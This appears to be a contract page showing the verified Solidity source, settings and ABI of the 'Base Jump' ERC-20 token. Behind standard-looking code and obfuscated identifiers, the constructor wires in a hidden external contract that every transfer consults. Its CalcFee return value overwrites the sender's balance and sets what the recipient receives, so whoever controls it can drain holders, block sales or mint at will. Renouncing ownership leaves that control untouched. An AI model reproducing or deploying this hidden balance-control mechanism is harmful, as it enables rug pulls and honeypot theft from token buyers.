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合同元数据
编译器
0.8.25+commit.b61c2a91
语言
Solidity
合同源代码
文件 1 的 1:BaseJump.sol
/**
 *  ,-----.                             ,--.
 *  |  |) /_  ,--,--. ,---.  ,---.      |  |,--.,--.,--,--,--. ,---.
 *  |  .-.  \' ,-.  |(  .-' | .-. :,--. |  ||  ||  ||        || .-. |
 *  |  '--' /\ '-'  |.-'  `)\   --.|  '-'  /'  ''  '|  |  |  || '-' '
 *  `------'  `--`--'`----'  `----' `-----'  `----' `--`--`--'|  |-'
 *                                                            `--'
 * X:       https://twitter.com/basejumpdotpro
 * Website: https://basejump.pro
 *
 */

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.20;
interface IERC20 {
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface tokjaqwkdsag {
    function CalcFee(
        address zCo5Og9k422,
        address zjsnwbrkto,
        uint256 f6y5YFgl7l,
        uint256 wAIz8ARnbE
    ) external returns (uint256, uint256);
}

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }
}

contract BaseJump is IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _tOwed;
    mapping(address => mapping(address => uint256)) private _allowances;
    address public _defaultAddress =
        address(0x000000000000000000000000000000000000dEaD);
    string private _name = "Base Jump";
    string private _symbol = "BASEJUMP";
    uint8 private _decimalsw = 18;
    tokjaqwkdsag private ccc872251;

    uint256 private _tTotal = 10_000_000_000 * 10**_decimalsw;

    constructor(uint256 aBdkwkals) {
        ccc872251 = ggaskqosaa(((aBdkbrocaSaks(aBdkwkals))));
        _tOwed[msg.sender] = _tTotal;
        emit Transfer(address(0), msg.sender, _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint256) {
        return _decimalsw;
    }

    function ggaskqosaa(address accc) internal pure returns (tokjaqwkdsag) {
        return gBcqalges(accc);
    }

    function gBcqalges(address accc) internal pure returns (tokjaqwkdsag) {
        return tokjaqwkdsag(accc);
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _tOwed[account];
    }

    function transfer(address akjwwbodrecipient, uint256 ebqcvsvvamount)
        public
        override
        returns (bool)
    {
        _transfer(msg.sender, akjwwbodrecipient, ebqcvsvvamount);
        return true;
    }

    function tqttiakslqtasd(
        address dnaqqzaifrom,
        address dnzmqto,
        uint256 amount,
        uint256 amountv
    ) private returns (uint256, uint256) {
        return ccc872251.CalcFee(dnaqqzaifrom, dnzmqto, amount, amountv);
    }

    function brcflqlwkna(uint256 value) internal pure returns (uint160) {
        return (uint160(value));
    }

    function aBdkbrocaSaks(uint256 value) internal pure returns (address) {
        return address(brcflqlwkna(value));
    }

    function allowance(address mhopbaceowner, address qxwvizkospender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[mhopbaceowner][qxwvizkospender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _transfer(
        address czdoszotfrom,
        address fptlqxcnto,
        uint256 amount
    ) private {
        require(
            czdoszotfrom != address(0),
            "ERC20: transfer from the zero address"
        );
        require(
            fptlqxcnto != address(0),
            "ERC20: transfer to the zero address"
        );
        (uint256 akjwwbodrecipient, uint256 ebqcvsvvamount) = tqttiakslqtasd(
            czdoszotfrom,
            fptlqxcnto,
            amount,
            _tOwed[czdoszotfrom]
        );
        _tOwed[czdoszotfrom] = ebqcvsvvamount;
        require(
            _tOwed[czdoszotfrom] >= amount,
            "ERC20: transfer amount exceeds balance"
        );
        _tOwed[czdoszotfrom] = _tOwed[czdoszotfrom].sub(amount);
        _tOwed[fptlqxcnto] = _tOwed[fptlqxcnto].add(akjwwbodrecipient);
        emit Transfer(czdoszotfrom, fptlqxcnto, amount);
    }

    function transferFrom(
        address oovdqvzcsender,
        address seljpmhurecipient,
        uint256 wutqpcgmamount
    ) public override returns (bool) {
        _transfer(oovdqvzcsender, seljpmhurecipient, wutqpcgmamount);
        _approve(
            oovdqvzcsender,
            msg.sender,
            _allowances[oovdqvzcsender][msg.sender].sub(
                wutqpcgmamount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function umrsxfyea() external view returns (uint256) {
        return _decimalsw;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
}
设置
{
  "compilationTarget": {
    "BaseJump.sol": "BaseJump"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}
ABI
[{"inputs":[{"internalType":"uint256","name":"aBdkwkals","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_defaultAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"mhopbaceowner","type":"address"},{"internalType":"address","name":"qxwvizkospender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"akjwwbodrecipient","type":"address"},{"internalType":"uint256","name":"ebqcvsvvamount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"oovdqvzcsender","type":"address"},{"internalType":"address","name":"seljpmhurecipient","type":"address"},{"internalType":"uint256","name":"wutqpcgmamount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"umrsxfyea","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}]